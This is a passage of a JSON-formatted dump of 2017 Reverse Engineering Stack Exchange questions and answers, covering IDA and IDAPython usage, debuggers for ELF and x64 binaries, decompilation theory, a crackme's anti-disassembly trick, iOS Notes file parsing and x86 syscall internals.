        "Body": "<p>uhm, I had made a Graphing Calculator program in Python but I wanted to use it in a smartphone so I was wondering is there any way i can reprogram a smartphone, it doesn't matter how hard it will be but is it possible ?  Also I don't want to develop apps because I want the phone to run the Calculator only.</p>\n",
        "Title": "Is it possible to reprogram an android smart phone?",
        "Tags": "|firmware|",
        "Answer": "<p>With SL4A you can run python-code on your android smartphone, but you must change your code because normal tkinter things don't work.</p>\n\n<p>If you really want to break your phone you can install linux.\nSearch for linux installer within the play store.</p>\n"
    },
    {
        "Id": "14315",
        "CreationDate": "2017-01-03T07:09:25.263",
        "Body": "<p>I'm working on a project that needs to be a stand-alone executable but run another executable whenever it is started.</p>\n\n<p>Unfortunately I don't have access to the source code of the second program to embed it in my own code, so I was thinking about some dirty workaround like below in assembly:</p>\n\n<p><a href=\"https://i.stack.imgur.com/n62XA.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/n62XA.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>This means to join the binary of two files and use <code>jmp</code> to control the program flow. I've tried ollydbg but could not open <code>x64</code> executables. Is there another way to achieve this?</p>\n\n<p>Thanks in advance</p>\n",
        "Title": "How to bind two EXE files?",
        "Tags": "|disassembly|executable|patching|reassembly|",
        "Answer": "<p>To debug 64 bit Windows executables you can use <a href=\"http://x64dbg.com\" rel=\"nofollow noreferrer\">x64dbg</a>. It also has the same patching functionalities ollydbg has. You will also need to resolve imports manually (or adjust the second executable's code to use the PE import table) and relocations.</p>\n\n<p>However, there might be easier ways to do that by extracting the executable and ruining it. An automated way to do that is using WinRar SFX (self extracting) executable. This let's you create an executable that when starts will extract multiple files into a temporary directory and will run one of the extracted files. You can also implement something similar yourself by dropping an executable and running it.</p>\n"
    },
    {
        "Id": "14317",
        "CreationDate": "2017-01-04T07:33:37.440",
        "Body": "<p>I'm currently learning <code>IDA Pro</code>, that is set up with the <code>WinDbg</code> debugger. So, say, I triggered a breakpoint and began stepping in and out of functions. I prefer to work in the \"Graph view\" mode:</p>\n\n<p><a href=\"https://i.stack.imgur.com/qfgZ5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qfgZ5.png\" alt=\"IDA debugger view in graph mode\"></a></p>\n\n<p>What is the easiest way to see the module name that I'm currently debugging? Or where the <code>EIP</code> or <code>RIP</code> registers points to. In the screenshot above, address of <code>0x759B86B0</code>.</p>\n",
        "Title": "How to know which module am I currently in? (EIP/RIP pointer)",
        "Tags": "|ida|windows|debugging|windbg|",
        "Answer": "<ol>\n<li>The top right window, the registers window, shows where each register points to and includes the module name of there is one. EIP is not shown in the picture but if you'll scroll down or resize it you'll see it.</li>\n<li>The stack shows an address in the same offset as the current EIP points to somewhere in <code>user32</code>, so that's probably it. <code>ebx</code> also points to the same module.</li>\n<li>The IDB segment is named correctly, so you can always open the segments view and see which segment contains the current EIP. Additionally, viewing the address (by switching to the Text View or configuring the graph view to show addresses from Options->Graph view) will have the module name before the address.</li>\n</ol>\n"
    },
    {
        "Id": "14320",
        "CreationDate": "2017-01-04T12:41:05.200",
        "Body": "<p>what is the theory behind the subject of translate assembly code to pseudo code?</p>\n\n<p>Could you explain few words ? Also some book about it?</p>\n",
        "Title": "How decompilation works?",
        "Tags": "|disassembly|x86|decompilation|c++|",
        "Answer": "<p>A thorough but dated theoretical treatment of decompilation can be found in Cristina Cifuentes' 1994 PhD thesis <a href=\"https://yurichev.com/mirrors/DCC_decompilation_thesis.pdf\" rel=\"nofollow noreferrer\">\"Reverse Compilation Techniques\"</a>. The subject matter therein, which includes discussion of syntax analysis, semantic analysis, control flow analysis, data flow analysis, and code generation, will be difficult to understand without being familiar with compiler or programming language theory beforehand, as decompilation is the reverse process of compilation. </p>\n\n<p>A shorter treatment of decompilation by the same author is given in a paper called <a href=\"https://pdfs.semanticscholar.org/a5f9/2c049dc8062501dd36f149d746e8140f09e9.pdf\" rel=\"nofollow noreferrer\">\"Decompilation of Binary Programs\"</a>.</p>\n\n<p>If you are looking for something more contemporary you may wish to investigate techniques employed by CMU's <a href=\"https://www.usenix.org/system/files/conference/usenixsecurity13/sec13-paper_schwartz.pdf\" rel=\"nofollow noreferrer\">Phoenix decompiler</a> as well as the answers to this <a href=\"https://reverseengineering.stackexchange.com/questions/5984/how-to-do-static-analysis-to-identify-pointer-from-concrete-value-in-assembly\">question</a>.</p>\n"
    },
    {
        "Id": "14333",
        "CreationDate": "2017-01-05T08:20:49.017",
        "Body": "<p>which windows API called when execute this command</p>\n\n<blockquote>\n  <p>wmic qfe get hotfixid</p>\n</blockquote>\n\n<p>command?</p>\n",
        "Title": "which windows API called when execute wmic qfe get hotfixid command?",
        "Tags": "|windows|debugging|c++|c|api|",
        "Answer": "<p>A lot of APIs are called in this case. wmic is an executable. If you're asking because you want to replace such a command the updates installed on the machine are listed under Software\\Microsoft\\Windows\\CurrentVersion\\Component Based servicing\\Packages. WMI has its own datastores which are probably less useful to you.</p>\n"
    },
    {
        "Id": "14353",
        "CreationDate": "2017-01-09T21:16:10.843",
        "Body": "<p>I wrote a simple IDAPython script that only prints out local functions and ignores library functions. But somehow, it prints every single function. Here is the script: </p>\n\n<pre><code>import idc, idautils\nfor func in idautils.Functions():\n    flags = idc.GetFunctionFlags(func)\n    # Ignore library functons\n    if flags &amp; FUNC_LIB:\n        continue\n    print idc.GetFunctionName(func)\n</code></pre>\n\n<p>I based my script from the second code snippet in this tutorial (<a href=\"http://researchcenter.paloaltonetworks.com/2016/06/unit42-using-idapython-to-make-your-life-easier-part-6/\" rel=\"nofollow noreferrer\">http://researchcenter.paloaltonetworks.com/2016/06/unit42-using-idapython-to-make-your-life-easier-part-6/</a>). </p>\n",
        "Title": "IDAPython can't ignore library functions",
        "Tags": "|ida|idapython|",
        "Answer": "<p>This is a confusion of terminology.  In IDA-speak, \"library function\" means \"a function from a (compiler) standard library\", i.e. a function recognised by a FLIRT signature (usually colored in cyan). These are encountered in practice mostly in statically-linked Windows executables. On Linux and OS X the standard functions usually come from shared libraries so you will need another way to distinguish them - e.g. what what was suggested in the comments.</p>\n"
    },
    {
        "Id": "14359",
        "CreationDate": "2017-01-10T00:39:12.300",
        "Body": "<p>I am working on editing an old DOS program's assembly, but I'm running into some odd issues.</p>\n\n<p>I'm using IDA Pro 6.4 and a hex editor to patch. I'm code-caving the new data by removing old stuff never used.</p>\n\n<p>Just changing the assembly code does nothing, in the sense that it just exits, no errors or nothing. The code properly disassembles and looks right, but it doesn't do anything. The code is 100% right as I'm basing it off another application. There is no protection as I explain below, other changes work. However anything that involves \"call\" or variables other than what was originally used...don't work.</p>\n\n<p>Here is an example of what I'm doing:</p>\n\n<p>Code presently reads a ISA card for some data. I am making it fread a file instead. </p>\n\n<hr>\n\n<p>The program is compiled using Watcom 9.5 and uses Causeway extender. It uses fastcall not stdcall.</p>\n\n<p>I'm starting to pull my hair out because I need to rework the logic so it does some other stuff (write to file for example).</p>\n\n<p>It's odd because simple changes to the logic work as I've made many other micro changes (jnz to jz for example).</p>\n\n<p>Any advise? Is there something in the file I'm missing? If you need more info, let me know. </p>\n\n<p>Here is an example of a change I've tried to make (this is the NEW code):</p>\n\n<pre><code>push    ebx\npush    ecx\npush    edx\npush    esi\npush    edi\npush    ebp\nmov     ebp, esp\nsub     esp, 4\nmov eax, offset pathname\npush eax\ncall printf_\npop     ebp\npop     edi\npop     esi\npop     edx\npop     ecx\npop     ebx\n</code></pre>\n",
        "Title": "Issues rewriting portions of DOS app's assembly",
        "Tags": "|disassembly|assembly|dos|dos-exe|",
        "Answer": "<p>In the end, the issue was due to the fixup tables. I wrote custom code to read the LE structure and thanks to some documents, figured out what offsets were being fixed up.</p>\n\n<p>Please note, you need to parse the Fixup Page table and then loop through checking positions. Then read the record data. </p>\n"
    },
    {
        "Id": "14363",
        "CreationDate": "2017-01-11T12:57:02.963",
        "Body": "<p>I cannot load the following executable type in OllyDbg:\n- ELF 32-bit LSB executable, Intel 80386</p>\n\n<p>Why can OllyDbg not handle this kind of executables? What are good (OllyDbg-like) debuggers to debug ELF?</p>\n",
        "Title": "Debug ELF executable",
        "Tags": "|debugging|elf|",
        "Answer": "<p>Ollydbg debugger is for Microsoft Windows executables and DLLs. For debugging ELF I use <a href=\"https://www.sourceware.org/gdb/\" rel=\"nofollow noreferrer\">GDB</a> debugger. GDB can come with a GUI and you can find more about that in <a href=\"https://reverseengineering.stackexchange.com/questions/1392/decent-gui-for-gdb\">this answer</a> . Besides GDB, for reversing ELF files on Linux I would also suggest <a href=\"https://radare.org/r/\" rel=\"nofollow noreferrer\">radare2</a>.</p>\n"
    },
    {
        "Id": "14366",
        "CreationDate": "2017-01-11T16:41:02.830",
        "Body": "<p>This assembly is for Intel x86-64 bit, seems to be too baffling to me.</p>\n\n<p><a href=\"https://i.stack.imgur.com/CXhq3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/CXhq3.png\" alt=\"enter image description here\"></a></p>\n\n<ul>\n<li>How come the <code>jz</code> instruction jump to a non-instruction (<code>0x400AC9</code>)?</li>\n<li>How come the <code>call</code> invokes a non-existing address?</li>\n</ul>\n\n<p>For curious ones, the binary is <a href=\"https://www.mediafire.com/?yx5pv8llsvta4i8\" rel=\"nofollow noreferrer\">here</a>.</p>\n",
        "Title": "What exactly is this piece of assembly code doing?",
        "Tags": "|assembly|x86|elf|call|",
        "Answer": "<blockquote>\n  <p>How come the jz instruction jump to a non-instruction (0x400AC9)?</p>\n</blockquote>\n\n<p>It does not. There is no such thing as \"an instruction\". Jumps do not jump to <em>instructions</em>, they jump to <em>addresses</em>.</p>\n\n<blockquote>\n  <p>How come the call invokes a non-existing address?</p>\n</blockquote>\n\n<p>It does not. If you check what the code actually does, you will find this call will never be executed.</p>\n\n<hr>\n\n<p>Here is the relevant part of your code, prefixed with their original hex bytes.</p>\n\n<pre><code>400AC7: \u00a066 b8 eb 05 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 mov \u00a0 \u00a0ax,0x5eb\n400ACB: \u00a031 c0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 xor \u00a0 \u00a0eax,eax\n400ACD: \u00a074 fa \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 jz \u00a0 \u00a0 0x400AC9\n400ACF: \u00a0e8 0f b6 45 b0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0call \u00a0 0xffffffffb045b61c\n400AD4: \u00a03c 38 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 cmp \u00a0 \u00a0al,0x38\n400AD6: \u00a00f \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0.byte 0xf\n400AD7:  85 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0.byte 0x85\n400AD8:  bc \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0.byte 0xbc\n</code></pre>\n\n<p>If you assume the instruction at 400AC7 executes, it loads <code>ax</code> with some value but it gets immediately discarded by the next instruction, which clears it to <code>0</code>. Because of that, the jump will <strong>always</strong> be taken!</p>\n\n<p>The jump goes to 400AC9, and if we disassemble starting at that, we get some other code:</p>\n\n<pre><code>400AC9: \u00a0eb 05 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 jmp \u00a0 \u00a00x400AD0\n400ACB: \u00a031 c0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 xor \u00a0 \u00a0eax,eax\n400ACD: \u00a074 fa \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 je \u00a0 \u00a0 0x0\n400ACF: \u00a0e8 0f b6 45 b0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0call \u00a0 0xffffffffb045b61a\n400AD4: \u00a03c 38 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 cmp \u00a0 \u00a0al,0x38\n400AD6: \u00a00f \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0.byte 0xf\n</code></pre>\n\n<p>and it looks like you did not get any further, because there are still weird calls and undefined codes. However, look at the first instruction! It jumps again into the middle of something what appears to be an instruction <em>at this point</em> \u2013 but if you start disassembling there, you will see that everything from that address on is perfectly ordinary code.*</p>\n\n<p><sup>* Since this is a \"crackme\" and you already failed the first of its tests, I will not spoil the rest of it.</sup></p>\n"
    },
    {
        "Id": "14370",
        "CreationDate": "2017-01-11T20:30:20.257",
        "Body": "<p>So I'm reading about antidebug and anti-reverse engineering techniques, but these cover, in all the docs I've seen, just executables. </p>\n\n<p>Are there any resources that target <em>specifically</em> shared and static libraries?</p>\n\n<p>If not, are the techniques for executables mainly applicable for static/dynamic libraries?</p>\n\n<p>Thanks!</p>\n",
        "Title": "Antidebug/reverse engineering targeted for libraries",
        "Tags": "|debugging|binary-analysis|c|anti-debugging|libraries|",
        "Answer": "<p>To the best of my knowledge theoretically most obfuscation techniques are also applicable to libraries, but there are considerable downsides: Slowdown and increased support-difficulties. Please note if a program does something, there is always a way to find out how it archived it when you control the execution environment.</p>\n\n<p>I'd advise you to keep any business logic you want to protect out of libraries by keeping the libraries generic. If your business model concerns the distribution of logic you want to keep a secret - its a pretty bad situation.</p>\n\n<p>If you really want to offer some confidential functionality and performance is not an issue, think about offering it on the server side.</p>\n"
    },
    {
        "Id": "14377",
        "CreationDate": "2017-01-12T11:26:43.593",
        "Body": "<p>I am learning assembly and injections at the moment. Therefore I wrote a little program which simply prints out a hardcoded string. If I attach ollydbg to that I can inspect the executable I recognized that the offset in \"PUSH OFFSET 00ABC154\", which is my string I want to print, changes sometimes when I run the application multiple times.</p>\n\n<p>Is it because my string stands in the data segment and the data segment isn't located every time at the same offset from the data segment? Or why does my offset change?</p>\n",
        "Title": "Change of offset in instruction?",
        "Tags": "|disassembly|assembly|x86|",
        "Answer": "<p>It is due to ASLR like Sigtran said. As for your following question, it is the function's PLT that remains the same every time (I'm assuming you are talking about library function such as printf). The actual function address is resolved dynamically during the function's first invocation. The reason that the printf function's PLT remains the same is because it is in the text segment and the text segment is not randomized by ASLR. </p>\n\n<p>P.S. I would have added this as comment to your question, but I don't have enough reputation :(</p>\n"
    },
    {
        "Id": "14380",
        "CreationDate": "2017-01-12T15:57:17.183",
        "Body": "<p>I'm interesteing, why someone not reverse engineer old windows 3.1?</p>\n\n<p>In theory, win 3.1 have no kernel(because kernel is dos), it's simply window manager(such as x window on unix), so why i can't reverse engineer it's and modify?</p>\n",
        "Title": "Is reverse engineering possible for old windows kernels?",
        "Tags": "|windows|kernel|",
        "Answer": "<p>There is a really good book which does exactly that:</p>\n\n<p>\"Windows Internals: The Implementation of the Windows Operating Environment\" by Matt Pietrek.</p>\n\n<p>It's full of disassembly listings from the Windows 3.x kernel and other parts.</p>\n"
    },
    {
        "Id": "14382",
        "CreationDate": "2017-01-12T20:14:50.517",
        "Body": "<p>Is it possible to reverse engineer a binary file with no extension? </p>\n\n<p>For example this file:</p>\n\n<p><a href=\"https://github.com/commaai/openpilot/tree/master/selfdrive/visiond\" rel=\"nofollow noreferrer\">https://github.com/commaai/openpilot/tree/master/selfdrive/visiond</a><a href=\"https://github.com/commaai/openpilot/tree/master/selfdrive/visiond\" rel=\"nofollow noreferrer\"></a></p>\n\n<p>I have tried radare2 but it throws out the following error, so I am assuming it's a ARM binary:</p>\n\n<p>unimplemented elf reloc_convert for arm</p>\n",
        "Title": "Reverse Engineering a binary file with no extension",
        "Tags": "|radare2|",
        "Answer": "<p>I can open that file in R2 with out any errors. Make sure you have the latest (from git) version of radare2, and then try again</p>\n"
    },
    {
        "Id": "14387",
        "CreationDate": "2017-01-13T07:05:38.313",
        "Body": "<p>I am trying to understand how to read iOS notes files as they are saved in the NoteStore.sqlite database in the iOS backup.</p>\n\n<p><a href=\"https://drive.google.com/uc?export=download&amp;id=0B7hmWtxRMILgRVVFOS04QjhqTWc\" rel=\"nofollow noreferrer\">Here</a> are some sample files. Each file is a different note. \nI want to get only the text out of it but can't figure out how. </p>\n\n<p>I already understand that the textual part of the note is seperate from other parts (like links, pictures etc.) Can't find the length field so I can get the textual part. </p>\n\n<p>When the note is shorter than 256 characters the 14th byte is the length.\nBut when it's longer, I can't figure it out. </p>\n\n<p>Can anyone reverse this?</p>\n",
        "Title": "reversing ios notes file format",
        "Tags": "|file-format|ios|protocol|",
        "Answer": "<p>You are right about the 14th byte being the length on (some) short notes, like your file <code>4</code>:</p>\n\n<pre><code>00000000  08 00 12 d6 02 08 00 10 00 1a cf 02 12 1b 54 68   ..............Th\n00000010  69 73 20 6e 6f 74 65 20 69 73 20 74 68 65 20 66   is note is the f\n00000020  69 72 73 74 20 6f 6e 65 20 1a 10 0a 04 08 00 10   irst one .......\n00000030  00 10 00 1a 04 08 00 10 00 28 01 1a 10 0a 04 08   .........(......\n</code></pre>\n\n<p>However, this is not always the case; in your file <code>9</code>, which is even shorter, the length, at first glance, is at position 26, with the text after that:</p>\n\n<pre><code>00000000  08 00 12 81 01 08 00 10 00 1a 7b 12 17 d7 90 d7   ..........{.....\n00000010  91 d7 90 0a d7 92 d7 93 d7 94 0a 31 32 33 34 35   ...........12345\n00000020  36 37 38 39 1a 10 0a 04 08 00 10 00 10 00 1a 04   6789............\n</code></pre>\n\n<p>and observing closely, you can see that in longer files, the text starts one byte behind that:</p>\n\n<pre><code>00000000  08 00 12 c5 07 08 00 10 00 1a be 07 12 ac 02 49   ...............I\n00000010  6e 67 72 65 64 69 65 6e 74 73 20 0a 0a 32 20 63   ngredients ..2 c\n</code></pre>\n\n<p>The reason for this is that the length is coded in a special format: if the byte has its low order bit clear, then the byte is the length itself. If the high order bit is set, take only the low 7 bits, and prepend the next byte before that. For example, <code>ac 02</code>:</p>\n\n<pre><code>1010 1100 0000 0011       =&gt; remove 1st bit from 1st byte and prepend 2nd byte\n0000 0011 010 1100        =&gt; fill a 0 bit from the left and write in standard nibble notation\n0000 0001 1010 1100       =&gt; this is 1AC hex, or 428 bytes, which is the length of the note\n</code></pre>\n\n<p>It seems that the length of the file (minus some header) is encoded in the same way starting at position 11. This explains why file <code>9</code> is different: it's the only one short enough to have a length &lt; 0x80 (0x7b), so it needs only one byte here, so everything else is shifted left one byte.</p>\n\n<p>And actually, I guess that the \"first glance\" was wrong; the real length of note 9 is 23 (hex 17), and it consists of 2 lines of 3 unicode characters each (utf-8? This translates those bytes to hebrew characters, or maybe integers in the same encoding as above, yielding unicode code points), ended with a newline, and it's an unfortunate coincidence that the <code>0a</code> newline looks like the length byte for the numbers.</p>\n\n<p>So, to extract the text, seek to position 11, read a number which can be 1 or 2 bytes according to above, skip one byte which should be <code>12</code>, read the length of 1 or 2 bytes, then read the text. Actually, i suspect that bytes 4 and 5 are some integer as well; so maybe you should start with byte 4 and adjust the offsets depending on whether it has bit 8 set or not.</p>\n"
    },
    {
        "Id": "14399",
        "CreationDate": "2017-01-13T17:03:30.820",
        "Body": "<p><a href=\"https://i.stack.imgur.com/20bCJ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/20bCJ.png\" alt=\"enter image description here\"></a></p>\n\n<p>There is a large continuous, memory region as shown above in IDA disassembly which has got the same address for every possible address. Is the disassembly incorrect? How do I interpret one single row?</p>\n\n<p><code>DCB \"0000000000000000 l    df *ABS*\",9,\"0000000000000000 gic.c\",0xA</code></p>\n\n<p>The row above doesn't seem to be continuous data even. How are the columns  (space/tab and comma separated) significant? I can locate the following column values:</p>\n\n<ul>\n<li>DCB</li>\n<li>0000000000000000</li>\n<li>1</li>\n<li>df</li>\n<li>*ABS*</li>\n<li>9</li>\n<li>0000000000000000</li>\n<li>gic.c</li>\n<li>0xA</li>\n</ul>\n",
        "Title": "How come such large a data region has got the same address in IDA?",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>It's just a single (very long) text string. Look at the <code>dcb</code> and double quotes; unprintable characters are included outside the double quotes, in hex.</p>\n\n<p>Presumably there is a zero-terminator at the very end, which is how IDA Pro identified it as a <em>string</em>: all it contains are printable characters, plus the characters Tab and LF.</p>\n\n<p>It's broken up at the linefeeds so it is slightly better readable, but that's for display only. If you press the <code>*</code> \"Define array\" key somewhere inside this, you will see it's indeed a single long array of bytes.</p>\n\n<p>The starting address is only repeated for your convenience. \"The\" address of a larger structure is in general the address of its first byte.</p>\n"
    },
    {
        "Id": "14416",
        "CreationDate": "2017-01-16T01:05:10.733",
        "Body": "<p>Given an address, e.g. <code>0x70011DC</code>, is there any IDAPython API that returns the function, e.g. <code>sub_0x7001024</code> which this address belong to?</p>\n",
        "Title": "Is there any IDAPython API that returns the function which an address belong to?",
        "Tags": "|ida|idapython|",
        "Answer": "<p>you are looking for <code>GetFunctionName(ea)</code> from idc.</p>\n\n<p>Here is a link to the API. The idc and idautils functions are preferable, since they are slightly more high-level: <a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/\" rel=\"noreferrer\" title=\"API\">API</a></p>\n"
    },
    {
        "Id": "14425",
        "CreationDate": "2017-01-16T21:39:27.963",
        "Body": "<p>I have an IDAPython script written for a specific analysis. Also, I am using another in-house tool for the same analysis that, too, exposes Python API. My intention is to augment the script such that when it is run within IDA, it'll run IDA specific methods and when it is run outside IDA, it has to call the method specific to the in-house tool. Does IDAPython provide any special environment variable to detect if a Python script is running inside IDA environment?</p>\n",
        "Title": "Does IDAPython define any special environment variable?",
        "Tags": "|ida|idapython|",
        "Answer": "<p>I don't think there is directly, but there is a trick I've seen a few times (works with any dependency):</p>\n\n<pre><code>try:\n    import idc\n    print 'ida'\nexcept Exception as e:\n    print 'no ida'\n</code></pre>\n\n<p>You may set a special variable instead of the print statements.</p>\n\n<p>Disclamer:</p>\n\n<blockquote>\n  <p>Requires that your systems python and IDAs python are actually separate (the default case)</p>\n</blockquote>\n"
    },
    {
        "Id": "14429",
        "CreationDate": "2017-01-17T20:14:09.997",
        "Body": "<p>Is there a way to write my own <code>syscall</code>/<code>int 0x80</code> without using them?\nSo, normally it goes like</p>\n\n<pre><code>setup registers\n...\nsyscall or int 0x80\n</code></pre>\n\n<p>and I am interested in doing this without <code>syscall</code>/<code>int 0x80</code></p>\n\n<pre><code>setup registers\ncall mysyscall\n</code></pre>\n\n<p>where can I find implementation of <code>syscall</code> or <code>int 0x80</code>? Or is it too low level to implement it in asm?</p>\n",
        "Title": "Writing own custome syscall/int 0x80 on x64 system",
        "Tags": "|assembly|linux|x86-64|",
        "Answer": "<p><em>TL;DR:</em> These are two instructions supported <em>by</em> the CPU, you cannot implement them in assembly, as they are (or aren't) part of the assembly language you're using.</p>\n\n<p><em>Some more background:</em></p>\n\n<p>An interrupt (the assembly <a href=\"http://x86.renejeschke.de/html/file_module_x86_id_142.html\" rel=\"nofollow noreferrer\"><code>int</code></a> instruction is causing a software interrupt) is a special event for the CPU. The CPU immediately (This is slightly inaccurate as advanced performance optimizations and low-level features are ignored for the sake of simplicity) stops executing the instruction sequence it was executing, saves the context of the current execution (such as the <code>EIP</code> and other control registers, most not directly accessible to the user), and switches to a specifically designated code sequence that is in charge of handling that specific interrupt.</p>\n\n<p>Examples of hardware interrupts are related to handling power, hard-disk network and other peripherals, as well as when a program fails accessing a memory region, fails with certain calculations (divide by zero), floating point errors, tries executing a privileged or an invalid instruction and many others.</p>\n\n<p>Additionally, a program can intentionally trigger an interrupt by using the <code>int</code> instruction which receives a single operand - the interrupt id to trigger.</p>\n\n<p>When an interrupt happens, the resumes execution at the address pointed by the interrupt index in the <a href=\"https://en.wikipedia.org/wiki/Interrupt_descriptor_table\" rel=\"nofollow noreferrer\">Interrupt Descriptor Table</a> (aka Interrupt Vector Table), in the case of <code>int 0x80</code>, that's the address at offset <code>0x80</code>, obviously.</p>\n\n<p>As interrupts are an expensive operation for the CPU (it entails a lot of bookkeeping related to theads and context switches, among other things), AMD (and later Intel) introduced the <a href=\"http://x86.renejeschke.de/html/file_module_x86_id_313.html\" rel=\"nofollow noreferrer\"><code>sysenter</code></a> instruction (called <code>syscall</code> by Intel). That instruction keeps bookkeeping to the minimum by only raising to ring0 and executing kernel code.</p>\n"
    },
    {
        "Id": "14430",
        "CreationDate": "2017-01-17T22:03:15.863",
        "Body": "<p>In IDA's documentation, there are references to modules named <code>ida_*</code>, as well as <code>idc</code>, <code>idaapi</code> and <code>idautils</code>. The former modules seem to be the lower level ones. Almost always it says that <code>IDA Plugin SDK API wrapper: &lt;some_module&gt;</code>. </p>\n\n<p>I have a few specific questions about the documentation and IDAPython:</p>\n\n<ol>\n<li>What is this IDA plugin SDK? Is it the C like API available in IDC?</li>\n<li>Do the higher level API allow access to all the lower level functionalities?</li>\n<li>What can't I seem to load lower level modules? (When I try to <code>import ida_lines</code>, IDA says <code>ImportError: No module named ida_lines</code>)</li>\n</ol>\n",
        "Title": "How is IDAPython API structured?",
        "Tags": "|ida|idapython|idapro-sdk|",
        "Answer": "<p><em>A bit of history:</em> (aka an aging guy blabbering about) </p>\n\n<p>In the old days, we didn't have python in IDA and when an individual wanted to develop an IDA plugin he had to implement it in C and use the SDK available from hex-ray's <a href=\"https://www.hex-rays.com/products/ida/support/download.shtml\" rel=\"nofollow noreferrer\">download center</a> using credentials received when you purchase an IDA license. We did have, however, IDC. IDC is IDA's old, proprietary and somewhat deprecated scripting language, this is not related to C however there is evident effort using a C-like syntax. It was commonly used in the past but IDAPython nearly replaced it completely. The only reason to see IDC now is for old code, that precedes IDAPython.</p>\n\n<p>Since then, IDAPython was developed (originally as a plugin using the aforementioned SDK, and then adopted by hex-rays and made part of IDA). Up until the recent IDA 6.95, we only had a single module exposing all of IDA's C SDK in python. That module was <code>idaapi</code>. <code>idc</code> is implementing higher level functions that were migrated from IDC into IDAPython. <code>idautils</code> implements some more high level functions, that weren't there before. those are rough divisions, and not entirely accurate. The important point here is that there was a single (long) python file exposing all SDK functions (that are exposed to python using <a href=\"http://www.swig.org/\" rel=\"nofollow noreferrer\">SWIG</a>).</p>\n\n<p>In IDA 6.95 we still have that, but it was also the first version to include multiple <code>ida_*</code> modules where are to replace the broad <code>idaapi</code>. <code>idaapi</code> is only included in 6.95 for backwards compatibility and should be expected to be dropped in IDA 7. Generally, the names of the modules (what follows the <code>ida_</code> prefix) are the names of the header files in which those functions are defined. For example, <code>ida_lines</code> will expose functions defined in <code>lines.h</code>.</p>\n\n<p><em>Actual answers</em>:</p>\n\n<ol>\n<li>The IDA plugin SDK is a collection of C header files and binary libraries that allow a third party develop IDA plugins using the provided API. It can be downloaded from the <a href=\"https://www.hex-rays.com/products/ida/support/download.shtml\" rel=\"nofollow noreferrer\">download center</a> and it's documentation is available <a href=\"https://www.hex-rays.com/products/ida/support/sdkdoc/\" rel=\"nofollow noreferrer\">here</a>.</li>\n<li>While the C SDK is pretty well documented, the IDAPython not so much. I often find browsing the SDK useful when developing IDAPython plugins, as functions are usually exposed to python but not documented or described as well as they are in the SDK. basically most of the functions correspond and you'll find the same functions having the same name in both IDAPython and the SDK (as this is mostly automatically generated code by/for <a href=\"http://www.swig.org/\" rel=\"nofollow noreferrer\">SWIG</a>).</li>\n<li>First guess would be you're using an older version of IDA, where <code>ida_*</code> modules don't yet exist. generally, using <code>idaapi</code> instead of every other module will do just fine.</li>\n</ol>\n\n<p><em>Developing for IDA:</em></p>\n\n<p>A person interested in developing for IDA has three options:</p>\n\n<ul>\n<li>Writing C code using the IDA SDK and compiling it, having a <code>plw</code> or a <code>p64</code> binary as output.</li>\n<li>Writing IDC code. This is a decent scripting language resembling a simplified C in syntax. output would be a text file. This was the scripting language of choice for IDA before IDAPython became popular and ownership was transferred to hexrays.</li>\n<li>Writing IDAPython code. This is mostly python using the additional modules available when running from within IDA, plus a simple IDA plugin interface required to register as a plugin.</li>\n</ul>\n"
    },
    {
        "Id": "14434",
        "CreationDate": "2017-01-18T06:34:13.890",
        "Body": "<p>I was reversing <a href=\"https://www.mediafire.com/?6kqg3l8yq3cy89z\" rel=\"nofollow noreferrer\">this</a> binary. While I tried to set a breakpoint in <code>gdb</code> on <code>main</code> function, it couldn't find its definition. Loading up the same binary in IDA shows up <code>main</code> method in the <code>Function</code> pane. Why isn't gdb being able to find symbol which IDA can?</p>\n\n<p><a href=\"https://i.stack.imgur.com/n4shK.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/n4shK.png\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/EysQV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EysQV.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Why can't gdb find symbol which IDA can?",
        "Tags": "|ida|gdb|breakpoint|symbols|",
